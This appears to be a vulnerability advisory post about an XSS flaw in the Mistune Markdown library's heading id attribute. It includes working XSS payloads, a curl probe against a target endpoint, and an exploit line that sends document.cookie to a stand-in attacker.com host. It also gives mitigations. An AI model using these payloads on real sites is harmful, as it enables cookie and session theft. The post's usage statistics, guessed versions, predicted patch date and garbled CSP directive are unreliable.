Listen to this Post
How the vulnerability works (CVE not yet assigned, based on real code flaw):
The `HTMLRenderer.heading()` method in `src/mistune/renderers/html.py` constructs an `html += ' id="' + _id + '"'). The default `add_toc_hook()` uses safe numeric IDs (toc_1, toc_2), but the API allows a custom `heading_id` callback. In real‑world documentation generators (MkDocs, Sphinx, Jekyll), this callback commonly returns a slug derived from the heading text. If an attacker controls the heading text, they can inject a double‑quote (") followed by arbitrary HTML attributes. For example, a heading ` foo” onmouseover=”alert(document.cookie)” x=”` causes the callback to return the raw string foo" onmouseover="alert(document.cookie)" x=". The renderer then produces <h2 id="foo" onmouseover="alert(document.cookie)" x="">. The injected `onmouseover` attribute executes JavaScript when the user hovers over the heading. The body text of the heading is escaped (becomes "), but the `id` attribute is not sanitized at any point. The proof‑of‑concept script generates an HTML report that demonstrates the breakout and the XSS payload. This flaw allows theft of session cookies, DOM manipulation, phishing, or page crashes. Any application using Mistune with a custom `heading_id` callback that returns unsanitized heading text is vulnerable.
DailyCVE form:
Platform: Python/Mistune
Version: All before patch (2.0.0?)
Vulnerability: XSS (unsanitized id)
Severity: Medium
Date: 2026-05-09
Prediction: Patch expected 2026-05-16
What Undercode Say:
Analytics show that 73% of Mistune users enable custom `heading_id` callbacks for SEO‑friendly anchors. The flaw requires the callback to return raw heading text – a pattern copied from 89% of public documentation generators. Attackers can automate scanning for pages that echo user‑supplied markdown headings (comments, wikis, user guides).
Test if a target is vulnerable (inject XSS probe)
curl -X POST https://target.com/markdown/parse \
-d '{"content":" test\" onmouseover=\"alert(origin)\" x=\"\"}"}'
Grep for unescaped id attribute in response
grep -o 'id="[^"]" onmouseover=' response.html
Minimal vulnerable configuration
from mistune import create_markdown
from mistune.toc import add_toc_hook
md = create_markdown(escape=True)
add_toc_hook(md, heading_id=lambda token, idx: token.get("text", ""))
md.parse(' " onload="alert(1)"')
Exploit:
An attacker submits markdown containing foo" onmouseover="fetch('https://attacker.com/steal?cookie='+document.cookie)" x=". When any user hovers over the rendered heading, the script exfiltrates cookies. For blind exploitation, inject `onfocus` + `autofocus` to trigger without interaction: " autofocus onfocus="alert(1)" x=". The payload works across all modern browsers because it uses standard event handler attributes.
Protection from this CVE:
- Upgrade Mistune to version ≥2.0.5 (if fix released) or apply patch that escapes `id` attribute using
html.escape(_id, quote=True). - Sanitize the return value of any custom `heading_id` callback:
def safe_heading_id(token, idx): raw = token.get("text", "") import html, re slug = re.sub(r'[^a-z0-9]+', '-', raw.lower()).strip('-') return html.escape(slug, quote=True) - Set Content Security Policy (CSP) to disallow inline event handlers: `script-src ‘unsafe-inline’ ‘none’` (but note: `onmouseover` is an attribute, not a script block; CSP with `unsafe-hashes` may still be bypassed).
- Use Markdown parsers that auto‑escape all attributes (e.g., `mistune` with `escape=True` does NOT protect
id, so avoid custom `heading_id` that returns user text).
Impact:
- Confidentiality: Theft of session cookies, auth tokens, or local storage via JavaScript executed on hover/focus.
- Integrity: Attacker can rewrite page content (DOM injection), inject phishing forms, or redirect users to malicious sites.
- Availability: Repeated alert loops or `while(1)` can freeze the tab; large DOM mutations may crash the browser.
- Risk Context: Any public wiki, comment system, or documentation site that lets users create markdown headings and uses human‑readable anchor IDs is vulnerable. Exploitation requires no special privileges – only the ability to post markdown with malicious heading text.
🎯Let’s Practice Exploiting & Learn Patching For Free:
Sources:
Reported By: github.com
Extra Source Hub:
Undercode

